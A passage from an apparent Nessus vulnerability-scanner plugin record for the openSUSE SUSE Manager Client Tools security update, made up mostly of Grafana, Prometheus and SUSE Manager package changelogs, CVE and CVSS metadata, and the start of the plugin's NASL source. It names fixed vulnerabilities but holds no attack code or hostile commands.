plugin creation task. #19207,\n @dprokop\n\n - Bug Fixes\n\n - Alerting: Prevents creating alerts from unsupported\n queries. #19250, @hugohaggmark\n\n - Alerting: Truncate PagerDuty summary when greater than\n 1024 characters. #18730, @nvllsvm\n\n - Cloudwatch: Fix autocomplete for Gamelift dimensions.\n #19146, @kevinpz\n\n - Dashboard: Fix export for sharing when panels use\n default data source. #19315, @torkelo\n\n - Database: Rewrite system statistics query to perform\n better. #19178, @papagian\n\n - Gauge/BarGauge: Fix issue with [object Object] in titles\n . #19217, @ryantxu\n\n - MSSQL: Revert usage of new connectionstring format\n introduced by #18384. #19203, @marefr\n\n - Multi-LDAP: Do not fail-fast on invalid credentials.\n #19261, @gotjosh\n\n - MySQL, Postgres, MSSQL: Fix validating query with\n template variables in alert . #19237, @marefr\n\n - MySQL, Postgres: Update raw sql when query builder\n updates. #19209, @marefr\n\n - MySQL: Limit datasource error details returned from the\n backend. #19373, @marefr\n\n - Changes from 6.4.0 Beta 1\n\n - Features / Enhancements\n\n - API: Readonly datasources should not be created via the\n API. #19006, @papagian\n\n - Alerting: Include configured AlertRuleTags in Webhooks\n notifier. #18233, @dominic-miglar\n\n - Annotations: Add annotations support to Loki. #18949,\n @aocenas\n\n - Annotations: Use a single row to represent a region.\n #17673, @ryantxu\n\n - Auth: Allow inviting existing users when login form is\n disabled. #19048, @548017\n\n - Azure Monitor: Add support for cross resource queries.\n #19115, @sunker\n\n - CLI: Allow installing custom binary plugins. #17551,\n @aocenas\n\n - Dashboard: Adds Logs Panel (alpha) as visualization\n option for Dashboards. #18641, @hugohaggmark\n\n - Dashboard: Reuse query results between panels . #16660,\n @ryantxu\n\n - Dashboard: Set time to to 23:59:59 when setting To time\n using calendar. #18595, @simPod\n\n - DataLinks: Add DataLinks support to Gauge, BarGauge and\n SingleStat2 panel. #18605, @ryantxu\n\n - DataLinks: Enable access to labels & field names.\n #18918, @torkelo\n\n - DataLinks: Enable multiple data links per panel. #18434,\n @dprokop\n\n - Docker: switch docker image to alpine base with\n phantomjs support. #18468, @DanCech\n\n - Elasticsearch: allow templating queries to order by\n doc_count. #18870, @hackery\n\n - Explore: Add throttling when doing live queries. #19085,\n @aocenas\n\n - Explore: Adds ability to go back to dashboard,\n optionally with query changes. #17982, @kaydelaney\n\n - Explore: Reduce default time range to last hour. #18212,\n @davkal\n\n - Gauge/BarGauge: Support decimals for min/max. #18368,\n @ryantxu\n\n - Graph: New series override transform constant that\n renders a single point as a line across the whole graph.\n #19102, @davkal\n\n - Image rendering: Add deprecation warning when PhantomJS\n is used for rendering images. #18933, @papagian\n\n - InfluxDB: Enable interpolation within ad-hoc filter\n values. #18077, @kvc-code\n\n - LDAP: Allow an user to be synchronized against LDAP.\n #18976, @gotjosh\n\n - Ldap: Add ldap debug page. #18759, @peterholmberg\n\n - Loki: Remove prefetching of default label values.\n #18213, @davkal\n\n - Metrics: Add failed alert notifications metric. #18089,\n @koorgoo\n\n - OAuth: Support JMES path lookup when retrieving user\n email. #14683, @bobmshannon\n\n - OAuth: return GitLab groups as a part of user info\n (enable team sync). #18388, @alexanderzobnin\n\n - Panels: Add unit for electrical charge - ampere-hour.\n #18950, @anirudh-ramesh\n\n - Plugin: AzureMonitor - Reapply MetricNamespace support.\n #17282, @raphaelquati\n\n - Plugins: better warning when plugins fail to load.\n #18671, @ryantxu\n\n - Postgres: Add support for scram sha 256 authentication.\n #18397, @nonamef\n\n - RemoteCache: Support SSL with Redis. #18511, @kylebrandt\n\n - SingleStat: The gauge option in now disabled/hidden\n (unless it's an old panel with it already enabled) .\n #18610, @ryantxu\n\n - Stackdriver: Add extra alignment period options. #18909,\n @sunker\n\n - Units: Add South African Rand (ZAR) to currencies.\n #18893, @jeteon\n\n - Units: Adding T,P,E,Z,and Y bytes. #18706, @chiqomar\n\n - Bug Fixes\n\n - Alerting: Notification is sent when state changes from\n no_data to ok. #18920, @papagian\n\n - Alerting: fix duplicate alert states when the alert\n fails to save to the database. #18216, @kylebrandt\n\n - Alerting: fix response popover prompt when add\n notification channels. #18967, @lzdw\n\n - CloudWatch: Fix alerting for queries with Id (using\n GetMetricData). #17899, @alex-berger\n\n - Explore: Fix auto completion on label values for Loki.\n #18988, @aocenas\n\n - Explore: Fixes crash using back button with a zoomed in\n graph. #19122, @hugohaggmark\n\n - Explore: Fixes so queries in Explore are only run if\n Graph/Table is shown. #19000, @hugohaggmark\n\n - MSSQL: Change connectionstring to URL format to fix\n using passwords with semicolon. #18384, @Russiancold\n\n - MSSQL: Fix memory leak when debug enabled. #19049,\n @briangann\n\n - Provisioning: Allow escaping literal '$' with '$$' in\n configs to avoid interpolation. #18045, @kylebrandt\n\n - TimePicker: Fixes hiding time picker dropdown in\n FireFox. #19154, @hugohaggmark\n\n - Breaking changes\n\n + Annotations There are some breaking changes in the\n annotations HTTP API for region annotations. Region\n annotations are now represented using a single event\n instead of two separate events. Check breaking changes\n in HTTP API below and HTTP API documentation for more\n details.\n\n + Docker Grafana is now using Alpine 3.10 as docker base\n image.\n\n + HTTP API\n\n - GET /api/alert-notifications now requires at least\n editor access. New /api/alert-notifications/lookup\n returns less information than /api/alert-notifications\n and can be access by any authenticated user.\n\n - GET /api/alert-notifiers now requires at least editor\n access\n\n - GET /api/org/users now requires org admin role. New\n /api/org/users/lookup returns less information than\n /api/org/users and can be access by users that are org\n admins, admin in any folder or admin of any team.\n\n - GET /api/annotations no longer returns regionId\n property.\n\n - POST /api/annotations no longer supports isRegion\n property.\n\n - PUT /api/annotations/:id no longer supports isRegion\n property.\n\n - PATCH /api/annotations/:id no longer supports isRegion\n property.\n\n - DELETE /api/annotations/region/:id has been removed.\n\n - Deprecation notes\n\n + PhantomJS\n\n - PhantomJS, which is used for rendering images of\n dashboards and panels, is deprecated and will be removed\n in a future Grafana release. A deprecation warning will\n from now on be logged when Grafana starts up if\n PhantomJS is in use. Please consider migrating from\n PhantomJS to the Grafana Image Renderer plugin.\n\n - Changes from 6.3.6\n\n - Features / Enhancements\n\n - Metrics: Adds setting for turning off total stats\n metrics. #19142, @marefr\n\n - Bug Fixes\n\n - Database: Rewrite system statistics query to perform\n better. #19178, @papagian\n\n - Explore: Fixes error when switching from prometheus to\n loki data sources. #18599, @kaydelaney\n\n - Rebase package spec. Use mostly from fedora, fix suse\n specified things and fix some errors.\n\n - Add missing directories provisioning/datasources and\n provisioning/notifiers and sample.yaml as described in\n packaging/rpm/control from upstream. Missing directories\n are shown in logfiles.\n\n - Version 6.3.5\n\n - Upgrades\n\n + Build: Upgrade to go 1.12.9.\n\n - Bug Fixes\n\n + Dashboard: Fixes dashboards init failed loading error\n for dashboards with panel links that had missing\n properties.\n\n + Editor: Fixes issue where only entire lines were being\n copied.\n\n + Explore: Fixes query field layout in splitted view for\n Safari browsers.\n\n + LDAP: multildap + ldap integration.\n\n + Profile/UserAdmin: Fix for user agent parser crashes\n grafana-server on 32-bit builds.\n\n + Prometheus: Prevents panel editor crash when switching\n to Prometheus datasource.\n\n + Prometheus: Changes brace-insertion behavior to be less\n annoying.\n\n - Version 6.3.4\n\n - Security: CVE-2019-15043 - Parts of the HTTP API allow\n unauthenticated use.\n\n - Version 6.3.3\n\n - Bug Fixes\n\n + Annotations: Fix failing annotation query when time\n series query is cancelled. #18532 1, @dprokop 1\n\n + Auth: Do not set SameSite cookie attribute if\n cookie_samesite is none. #18462 1, @papagian 3\n\n + DataLinks: Apply scoped variables to data links\n correctly. #18454 1, @dprokop 1\n\n + DataLinks: Respect timezone when displaying\n datapoint’s timestamp in graph context menu.\n #18461 2, @dprokop 1\n\n + DataLinks: Use datapoint timestamp correctly when\n interpolating variables. #18459 1, @dprokop 1\n\n + Explore: Fix loading error for empty queries. #18488 1,\n @davkal\n\n + Graph: Fixes legend issue clicking on series line icon\n and issue with horizontal scrollbar being visible on\n windows. #18563 1, @torkelo 2\n\n + Graphite: Avoid glob of single-value array variables .\n #18420, @gotjosh\n\n + Prometheus: Fix queries with label_replace remove the $1\n match when loading query editor. #18480 5, @hugohaggmark\n 3\n\n + Prometheus: More consistently allows for multi-line\n queries in editor. #18362 2, @kaydelaney 2\n\n + TimeSeries: Assume values are all numbers. #18540 4,\n @ryantxu\n\n - Version 6.3.2\n\n - Bug Fixes\n\n + Gauge/BarGauge: Fixes issue with losts thresholds and\n issue loading Gauge with avg stat. #18375 12\n\n - Version 6.3.1\n\n - Bug Fixes\n\n + PanelLinks: Fix crash issue Gauge & Bar Gauge for panels\n with panel links (drill down links). #18430 2\n\n - Version 6.3.0\n\n - Features / Enhancements\n\n + OAuth: Do not set SameSite OAuth cookie if\n cookie_samesite is None. #18392 4, @papagian 3\n\n + Auth Proxy: Include additional headers as part of the\n cache key. #18298 6, @gotjosh\n\n + Build grafana images consistently. #18224 12,\n @hassanfarid\n\n + Docs: SAML. #18069 11, @gotjosh\n\n + Permissions: Show plugins in nav for non admin users but\n hide plugin configuration. #18234 1, @aocenas\n\n + TimePicker: Increase max height of quick range dropdown.\n #18247 2, @torkelo 2\n\n + Alerting: Add tags to alert rules. #10989 13, @Thib17 1\n\n + Alerting: Attempt to send email notifications to all\n given email addresses. #16881 1, @zhulongcheng\n\n + Alerting: Improve alert rule testing. #16286 2, @marefr\n\n + Alerting: Support for configuring content field for\n Discord alert notifier. #17017 2, @jan25\n\n + Alertmanager: Replace illegal chars with underscore in\n label names. #17002 5, @bergquist 1\n\n + Auth: Allow expiration of API keys. #17678, @papagian 3\n\n + Auth: Return device, os and browser when listing user\n auth tokens in HTTP API. #17504, @shavonn 1\n\n + Auth: Support list and revoke of user auth tokens in UI.\n #17434 2, @shavonn 1\n\n + AzureMonitor: change clashing built-in Grafana\n variables/macro names for Azure Logs. #17140, @shavonn 1\n\n + CloudWatch: Made region visible for AWS Cloudwatch\n Expressions. #17243 2, @utkarshcmu\n\n + Cloudwatch: Add AWS DocDB metrics. #17241, @utkarshcmu\n\n + Dashboard: Use timezone dashboard setting when exporting\n to CSV. #18002 1, @dehrax\n\n + Data links. #17267 11, @torkelo 2\n\n + Docker: Switch base image to ubuntu:latest from\n debian:stretch to avoid security issues… #17066\n 5, @bergquist 1\n\n + Elasticsearch: Support for visualizing logs in Explore .\n #17605 7, @marefr\n\n + Explore: Adds Live option for supported datasources.\n #17062 1, @hugohaggmark 3\n\n + Explore: Adds orgId to URL for sharing purposes. #17895\n 1, @kaydelaney 2\n\n + Explore: Adds support for new loki ‘start’\n and ‘end’ params for labels endpoint.\n #17512, @kaydelaney 2\n\n + Explore: Adds support for toggling raw query mode in\n explore. #17870, @kaydelaney 2\n\n + Explore: Allow switching between metrics and logs .\n #16959 2, @marefr\n\n + Explore: Combines the timestamp and local time columns\n into one. #17775, @hugohaggmark 3\n\n + Explore: Display log lines context . #17097, @dprokop 1\n\n + Explore: Don’t parse log levels if provided by\n field or label. #17180 1, @marefr\n\n + Explore: Improves performance of Logs element by\n limiting re-rendering. #17685, @kaydelaney 2\n\n + Explore: Support for new LogQL filtering syntax. #16674\n 4, @davkal\n\n + Explore: Use new TimePicker from Grafana/UI. #17793,\n @hugohaggmark 3\n\n + Explore: handle newlines in LogRow Highlighter. #17425,\n @rrfeng 1\n\n + Graph: Added new fill gradient option. #17528 3,\n @torkelo 2\n\n + GraphPanel: Don’t sort series when legend table &\n sort column is not visible . #17095, @shavonn 1\n\n + InfluxDB: Support for visualizing logs in Explore.\n #17450 9, @hugohaggmark 3\n\n + Logging: Login and Logout actions (#17760). #17883 1,\n @ATTron\n\n + Logging: Move log package to pkg/infra. #17023,\n @zhulongcheng\n\n + Metrics: Expose stats about roles as metrics. #17469 2,\n @bergquist 1\n\n + MySQL/Postgres/MSSQL: Add parsing for day, weeks and\n year intervals in macros. #13086 6, @bernardd\n\n + MySQL: Add support for periodically reloading client\n certs. #14892, @tpetr\n\n + Plugins: replace dataFormats list with skipDataQuery\n flag in plugin.json. #16984, @ryantxu\n\n + Prometheus: Take timezone into account for step\n alignment. #17477, @fxmiii\n\n + Prometheus: Use overridden panel range for $__range\n instead of dashboard range. #17352, @patrick246\n\n + Prometheus: added time range filter to series labels\n query. #16851 3, @FUSAKLA\n\n + Provisioning: Support folder that doesn’t exist\n yet in dashboard provisioning. #17407 1, @Nexucis\n\n + Refresh picker: Handle empty intervals. #17585 1,\n @dehrax\n\n + Singlestat: Add y min/max config to singlestat\n sparklines. #17527 4, @pitr\n\n + Snapshot: use given key and deleteKey. #16876,\n @zhulongcheng\n\n + Templating: Correctly display __text in multi-value\n variable after page reload. #17840 1, @EduardSergeev\n\n + Templating: Support selecting all filtered values of a\n multi-value variable. #16873 2, @r66ad\n\n + Tracing: allow propagation with Zipkin headers. #17009\n 4, @jrockway\n\n + Users: Disable users removed from LDAP. #16820 2,\n @alexanderzobnin\n\n - Bug Fixes\n\n + PanelLinks: Fix render issue when there is no panel\n description. #18408 3, @dehrax\n\n + OAuth: Fix “missing saved state” OAuth login\n failure due to SameSite cookie policy. #18332 1,\n @papagian 3\n\n + cli: fix for recognizing when in dev mode…\n #18334, @xlson\n\n + DataLinks: Fixes incorrect interpolation of\n $(__series_name) . #18251 1, @torkelo 2\n\n + Loki: Display live tailed logs in correct order in\n Explore. #18031 3, @kaydelaney 2\n\n + PhantomJS: Fixes rendering on Debian Buster. #18162 2,\n @xlson\n\n + TimePicker: Fixed style issue for custom range popover.\n #18244, @torkelo 2\n\n + Timerange: Fixes a bug where custom time ranges\n didn’t respect UTC. #18248 1, @kaydelaney 2\n\n + remote_cache: Fix redis connstr parsing. #18204 1,\n @mblaschke\n\n + AddPanel: Fix issue when removing moved add panel widget\n . #17659 2, @dehrax\n\n + CLI: Fix encrypt-datasource-passwords fails with sql\n error. #18014, @marefr\n\n + Elasticsearch: Fix default max concurrent shard\n requests. #17770 4, @marefr\n\n + Explore: Fix browsing back to dashboard panel. #17061,\n @jschill\n\n + Explore: Fix filter by series level in logs graph.\n #17798, @marefr\n\n + Explore: Fix issues when loading and both graph/table\n are collapsed. #17113, @marefr\n\n + Explore: Fix selection/copy of log lines. #17121,\n @marefr\n\n + Fix: Wrap value of multi variable in array when coming\n from URL. #16992 1, @aocenas\n\n + Frontend: Fix for Json tree component not working.\n #17608, @srid12\n\n + Graphite: Fix for issue with alias function being moved\n last. #17791, @torkelo 2\n\n + Graphite: Fixes issue with seriesByTag & function with\n variable param. #17795, @torkelo 2\n\n + Graphite: use POST for /metrics/find requests. #17814 2,\n @papagian 3\n\n + HTTP Server: Serve Grafana with a custom URL path\n prefix. #17048 6, @jan25\n\n + InfluxDB: Fixes single quotes are not escaped in label\n value filters. #17398 1, @Panzki\n\n + Prometheus: Correctly escape ‘|’ literals in\n interpolated PromQL variables. #16932, @Limess\n\n + Prometheus: Fix when adding label for metrics which\n contains colons in Explore. #16760, @tolwi\n\n + SinglestatPanel: Remove background color when value\n turns null. #17552 1, @druggieri\n\n - Make phantomjs dependency configurable\n\n - Create plugin directory and clean up (create in\n %install, add to %files) handling of /var/lib/grafana/*\n and\n\nkoan :\n\n - Calculate relative path for kernel and inited when\n generating grub entry (bsc#1170231)\n\n - Fix os-release version detection for SUSE\n\nmgr-cfg :\n\n - Remove commented code in test files\n\n - Replace spacewalk-usix with uyuni-common-libs\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Add mgr manpage links\n\nmgr-custom-info :\n\n - Bump version to 4.1.0 (bsc#1154940)\n\nmgr-daemon :\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Fix systemd timer configuration on SLE12 (bsc#1142038)\n\nmgr-osad :\n\n - Separate osa-dispatcher and jabberd so it can be\n disabled independently\n\n - Replace spacewalk-usix with uyuni-common-libs\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Move /usr/share/rhn/config-defaults to uyuni-base-common\n\n - Require uyuni-base-common for /etc/rhn (for\n osa-dispatcher)\n\n - Ensure bytes type when using hashlib to avoid traceback\n (bsc#1138822)\n\nmgr-push :\n\n - Replace spacewalk-usix and spacewalk-backend-libs with\n uyuni-common-libs\n\n - Bump version to 4.1.0 (bsc#1154940)\n\nmgr-virtualization :\n\n - Replace spacewalk-usix with uyuni-common-libs\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Fix mgr-virtualization timer\n\nrhnlib :\n\n - Fix building\n\n - Fix malformed XML response when data contains non-ASCII\n chars (bsc#1154968)\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Fix bootstrapping SLE11SP4 trad client with SSL enabled\n (bsc#1148177)\n\nspacecmd :\n\n - Only report real error, not result (bsc#1171687)\n\n - Use defined return values for spacecmd methods so\n scripts can check for failure (bsc#1171687)\n\n - Disable globbing for api subcommand to allow wildcards\n in filter settings (bsc#1163871)\n\n - Bugfix: attempt to purge SSM when it is empty\n (bsc#1155372)\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Prevent error when piping stdout in Python 2\n (bsc#1153090)\n\n - Java api expects content as encoded string instead of\n encoded bytes like before (bsc#1153277)\n\n - Enable building and installing for Ubuntu 16.04 and\n Ubuntu 18.04\n\n - Add unit test for schedule, errata, user, utils, misc,\n configchannel and kickstart modules\n\n - Multiple minor bugfixes alongside the unit tests\n\n - Bugfix: referenced variable before assignment.\n\n - Add unit test for report, package, org, repo and group\n\nspacewalk-client-tools :\n\n - Add workaround for uptime overflow to\n spacewalk-update-status as well (bsc#1165921)\n\n - Spell correctly 'successful' and 'successfully'\n\n - Skip dmidecode data on aarch64 to prevent coredump\n (bsc#1113160)\n\n - Replace spacewalk-usix with uyuni-common-libs\n\n - Return a non-zero exit status on errors in rhn_check\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Make a explicit requirement to systemd for\n spacewalk-client-tools when rhnsd timer is installed\n\nspacewalk-koan :\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n - Require commands we use in merge-rd.sh\n\nspacewalk-oscap :\n\n - Bump version to 4.1.0 (bsc#1154940)\n\nspacewalk-remote-utils :\n\n - Update spacewalk-create-channel with RHEL 7.7 channel\n definitions\n\n - Bump version to 4.1.0 (bsc#1154940)\n\nsupportutils-plugin-susemanager-client :\n\n - Bump version to 4.1.0 (bsc#1154940)\n\nsuseRegisterInfo :\n\n - SuseRegisterInfo only needs perl-base, not full perl\n (bsc#1168310)\n\n - Bump version to 4.1.0 (bsc#1154940)\n\nzypp-plugin-spacewalk :\n\n - 1.0.7\n\n - Prevent issue with non-ASCII characters in Python 2\n systems (bsc#1172462)\n\nThis update was imported from the SUSE:SLE-15:Update update project.", "edition": 4, "cvss3": {"score": 8.2, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"}, "published": "2020-07-28T00:00:00", "title": "openSUSE Security Update : SUSE Manager Client Tools (openSUSE-2020-1105)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-12245", "CVE-2019-15043", "CVE-2020-13379", "CVE-2019-10215"], "modified": "2020-07-28T00:00:00", "cpe": ["cpe:/o:novell:opensuse:15.2", "p-cpe:/a:novell:opensuse:dracut-saltboot"], "id": "OPENSUSE-2020-1105.NASL", "href": "https://www.tenable.com/plugins/nessus/139022", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2020-1105.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(139022);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/08/13\");\n\n script_cve_id(\"CVE-2019-10215\", \"CVE-2019-15043\", \"CVE-2020-12245\", \"CVE-2020-13379\");\n\n script_name(english:\"openSUSE Security Update : SUSE Manager Client Tools (openSUSE-2020-1105)\");\n script_summary(english:\"Check for the openSUSE-2020-1105 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update fixes the following issues :\n\ndracut-saltboot :\n\n - Print a list of available disk devices (bsc#1170824)\n\n - Install wipefs to initrd\n\n - Force install crypt modules\n\ngolang-github-prometheus-prometheus :\n\n - Update change log and spec file\n\n + Modified spec file: default to golang 1.14 to avoid\n 'have choice' build issues in OBS. \n\n + Rebase and update patches for version 2.18.0\n\n - Update to 2.18.0 \n\n + Features \n\n - Tracing: Added experimental Jaeger support #7148\n\n + Changes\n\n - Federation: Only use local TSDB for federation (ignore\n remote read). #7096\n\n - Rules: `rule_evaluations_total` and\n `rule_evaluation_failures_total` have a `rule_group`\n label now. #7094\n\n + Enhancements\n\n - TSDB: Significantly reduce WAL size kept around after a\n block cut. #7098\n\n - Discovery: Add `architecture` meta label for EC2. #7000\n\n + Bug fixes\n\n - UI: Fixed wrong MinTime reported by /status. #7182\n\n - React UI: Fixed multiselect legend on OSX. #6880\n\n - Remote Write: Fixed blocked resharding edge case. #7122\n\n - Remote Write: Fixed remote write not updating on relabel\n configs change. #7073\n\n - Changes from 2.17.2\n\n + Bug fixes\n\n - Federation: Register federation metrics #7081\n\n - PromQL: Fix panic in parser error handling #7132\n\n - Rules: Fix reloads hanging when deleting a rule group\n that is being evaluated #7138\n\n - TSDB: Fix a memory leak when prometheus starts with an\n empty TSDB WAL #7135\n\n - TSDB: Make isolation more robust to panics in web\n handlers #7129 #7136\n\n - Changes from 2.17.1\n\n + Bug fixes\n\n - TSDB: Fix query performance regression that increased\n memory and CPU usage #7051\n\n - Changes from 2.17.0\n\n + Features \n\n - TSDB: Support isolation #6841\n\n - This release implements isolation in TSDB. API queries\n and recording rules are guaranteed to only see full\n scrapes and full recording rules. This comes with a\n certain overhead in resource usage. Depending on the\n situation, there might be some increase in memory usage,\n CPU usage, or query latency.\n\n + Enhancements\n\n - PromQL: Allow more keywords as metric names #6933\n\n - React UI: Add normalization of localhost URLs in targets\n page #6794\n\n - Remote read: Read from remote storage concurrently #6770\n\n - Rules: Mark deleted rule series as stale after a reload\n #6745\n\n - Scrape: Log scrape append failures as debug rather than\n warn #6852\n\n - TSDB: Improve query performance for queries that\n partially hit the head #6676\n\n - Consul SD: Expose service health as meta label #5313\n\n - EC2 SD: Expose EC2 instance lifecycle as meta label\n #6914\n\n - Kubernetes SD: Expose service type as meta label for K8s\n service role #6684\n\n - Kubernetes SD: Expose label_selector and field_selector\n #6807\n\n - Openstack SD: Expose hypervisor id as meta label #6962\n\n + Bug fixes\n\n - PromQL: Do not escape HTML-like chars in query log #6834\n #6795\n\n - React UI: Fix data table matrix values #6896\n\n - React UI: Fix new targets page not loading when using\n non-ASCII characters #6892\n\n - Remote read: Fix duplication of metrics read from remote\n storage with external labels #6967 #7018\n\n - Remote write: Register WAL watcher and live reader\n metrics for all remotes, not just the first one #6998\n\n - Scrape: Prevent removal of metric names upon relabeling\n #6891\n\n - Scrape: Fix 'superfluous response.WriteHeader call'\n errors when scrape fails under some circonstances #6986\n\n - Scrape: Fix crash when reloads are separated by two\n scrape intervals #7011\n\n - Changes from 2.16.0\n\n + Features \n\n - React UI: Support local timezone on /graph #6692\n\n - PromQL: add absent_over_time query function #6490\n\n - Adding optional logging of queries to their own file\n #6520\n\n + Enhancements\n\n - React UI: Add support for rules page and 'Xs ago'\n duration displays #6503\n\n - React UI: alerts page, replace filtering togglers tabs\n with checkboxes #6543\n\n - TSDB: Export metric for WAL write errors #6647\n\n - TSDB: Improve query performance for queries that only\n touch the most recent 2h of data. #6651\n\n - PromQL: Refactoring in parser errors to improve error\n messages #6634\n\n - PromQL: Support trailing commas in grouping opts #6480\n\n - Scrape: Reduce memory usage on reloads by reusing scrape\n cache #6670\n\n - Scrape: Add metrics to track bytes and entries in the\n metadata cache #6675\n\n - promtool: Add support for line-column numbers for\n invalid rules output #6533\n\n - Avoid restarting rule groups when it is unnecessary\n #6450\n\n + Bug fixes\n\n - React UI: Send cookies on fetch() on older browsers\n #6553\n\n - React UI: adopt grafana flot fix for stacked graphs\n #6603\n\n - React UI: broken graph page browser history so that back\n button works as expected #6659\n\n - TSDB: ensure compactionsSkipped metric is registered,\n and log proper error if one is returned from head.Init\n #6616\n\n - TSDB: return an error on ingesting series with duplicate\n labels #6664\n\n - PromQL: Fix unary operator precedence #6579\n\n - PromQL: Respect query.timeout even when we reach\n query.max-concurrency #6712\n\n - PromQL: Fix string and parentheses handling in engine,\n which affected React UI #6612\n\n - PromQL: Remove output labels returned by absent() if\n they are produced by multiple identical label matchers\n #6493\n\n - Scrape: Validate that OpenMetrics input ends with `#\n EOF` #6505\n\n - Remote read: return the correct error if configs can't\n be marshal'd to JSON #6622\n\n - Remote write: Make remote client `Store` use passed\n context, which can affect shutdown timing #6673\n\n - Remote write: Improve sharding calculation in cases\n where we would always be consistently behind by tracking\n pendingSamples #6511\n\n - Ensure prometheus_rule_group metrics are deleted when a\n rule group is removed #6693\n\n - Changes from 2.15.2\n\n + Bug fixes\n\n - TSDB: Fixed support for TSDB blocks built with\n Prometheus before 2.1.0. #6564\n\n - TSDB: Fixed block compaction issues on Windows. #6547\n\n - Changes from 2.15.1\n\n + Bug fixes\n\n - TSDB: Fixed race on concurrent queries against same\n data. #6512\n\n - Changes from 2.15.0\n\n + Features \n\n - API: Added new endpoint for exposing per metric metadata\n `/metadata`. #6420 #6442\n\n + Changes\n\n - Discovery: Removed `prometheus_sd_kubernetes_cache_*`\n metrics. Additionally\n `prometheus_sd_kubernetes_workqueue_latency_seconds` and\n `prometheus_sd_kubernetes_workqueue_work_duration_second\n s` metrics now show correct values in seconds. #6393\n\n - Remote write: Changed `query` label on\n `prometheus_remote_storage_*` metrics to `remote_name`\n and `url`. #6043\n\n + Enhancements\n\n - TSDB: Significantly reduced memory footprint of loaded\n TSDB blocks. #6418 #6461\n\n - TSDB: Significantly optimized what we buffer during\n compaction which should result in lower memory footprint\n during compaction. #6422 #6452 #6468 #6475\n\n - TSDB: Improve replay latency. #6230\n\n - TSDB: WAL size is now used for size based retention\n calculation. #5886\n\n - Remote read: Added query grouping and range hints to the\n remote read request #6401\n\n - Remote write: Added\n `prometheus_remote_storage_sent_bytes_total` counter per\n queue. #6344\n\n - promql: Improved PromQL parser performance. #6356\n\n - React UI: Implemented missing pages like `/targets`\n #6276, TSDB status page #6281 #6267 and many other fixes\n and performance improvements.\n\n - promql: Prometheus now accepts spaces between time range\n and square bracket. e.g `[ 5m]` #6065 \n\n + Bug fixes\n\n - Config: Fixed alertmanager configuration to not miss\n targets when configurations are similar. #6455\n\n - Remote write: Value of\n `prometheus_remote_storage_shards_desired` gauge shows\n raw value of desired shards and it's updated correctly.\n #6378\n\n - Rules: Prometheus now fails the evaluation of rules and\n alerts where metric results collide with labels\n specified in `labels` field. #6469\n\n - API: Targets Metadata API `/targets/metadata` now\n accepts empty `match_targets` parameter as in the spec.\n #6303\n\n - Changes from 2.14.0\n\n + Features \n\n - API: `/api/v1/status/runtimeinfo` and\n `/api/v1/status/buildinfo` endpoints added for use by\n the React UI. #6243\n\n - React UI: implement the new experimental React based UI.\n #5694 and many more\n\n - Can be found by under `/new`.\n\n - Not all pages are implemented yet.\n\n - Status: Cardinality statistics added to the Runtime &\n Build Information page. #6125\n\n + Enhancements\n\n - Remote write: fix delays in remote write after a\n compaction. #6021\n\n - UI: Alerts can be filtered by state. #5758\n\n + Bug fixes\n\n - Ensure warnings from the API are escaped. #6279\n\n - API: lifecycle endpoints return 403 when not enabled.\n #6057\n\n - Build: Fix Solaris build. #6149\n\n - Promtool: Remove false duplicate rule warnings when\n checking rule files with alerts. #6270\n\n - Remote write: restore use of deduplicating logger in\n remote write. #6113\n\n - Remote write: do not reshard when unable to send\n samples. #6111\n\n - Service discovery: errors are no longer logged on\n context cancellation. #6116, #6133\n\n - UI: handle null response from API properly. #6071\n\n - Changes from 2.13.1\n\n + Bug fixes\n\n - Fix panic in ARM builds of Prometheus. #6110\n\n - promql: fix potential panic in the query logger. #6094\n\n - Multiple errors of http: superfluous\n response.WriteHeader call in the logs. #6145\n\n - Changes from 2.13.0\n\n + Enhancements\n\n - Metrics: renamed prometheus_sd_configs_failed_total to\n prometheus_sd_failed_configs and changed to Gauge #5254\n\n - Include the tsdb tool in builds. #6089\n\n - Service discovery: add new node address types for\n kubernetes. #5902\n\n - UI: show warnings if query have returned some warnings.\n #5964\n\n - Remote write: reduce memory usage of the series cache.\n #5849\n\n - Remote read: use remote read streaming to reduce memory\n usage. #5703\n\n - Metrics: added metrics for remote write max/min/desired\n shards to queue manager. #5787\n\n - Promtool: show the warnings during label query. #5924\n\n - Promtool: improve error messages when parsing bad rules.\n #5965\n\n - Promtool: more promlint rules. #5515\n\n + Bug fixes\n\n - UI: Fix a Stored DOM XSS vulnerability with query\n history\n [CVE-2019-10215](http://cve.mitre.org/cgi-bin/cvename.cg\n i?name=CVE-2019-10215). #6098\n\n - Promtool: fix recording inconsistency due to duplicate\n labels. #6026\n\n - UI: fixes service-discovery view when accessed from\n unhealthy targets. #5915\n\n - Metrics format: OpenMetrics parser crashes on short\n input. #5939\n\n - UI: avoid truncated Y-axis values. #6014\n\n - Changes from 2.12.0\n\n + Features \n\n - Track currently active PromQL queries in a log file.\n #5794\n\n - Enable and provide binaries for `mips64` / `mips64le`\n architectures. #5792\n\n + Enhancements\n\n - Improve responsiveness of targets web UI and API\n endpoint. #5740\n\n - Improve remote write desired shards calculation. #5763\n\n - Flush TSDB pages more precisely. tsdb#660\n\n - Add `prometheus_tsdb_retention_limit_bytes` metric.\n tsdb#667\n\n - Add logging during TSDB WAL replay on startup. tsdb#662\n\n - Improve TSDB memory usage. tsdb#653, tsdb#643, tsdb#654,\n tsdb#642, tsdb#627\n\n + Bug fixes\n\n - Check for duplicate label names in remote read. #5829\n\n - Mark deleted rules' series as stale on next evaluation.\n #5759\n\n - Fix 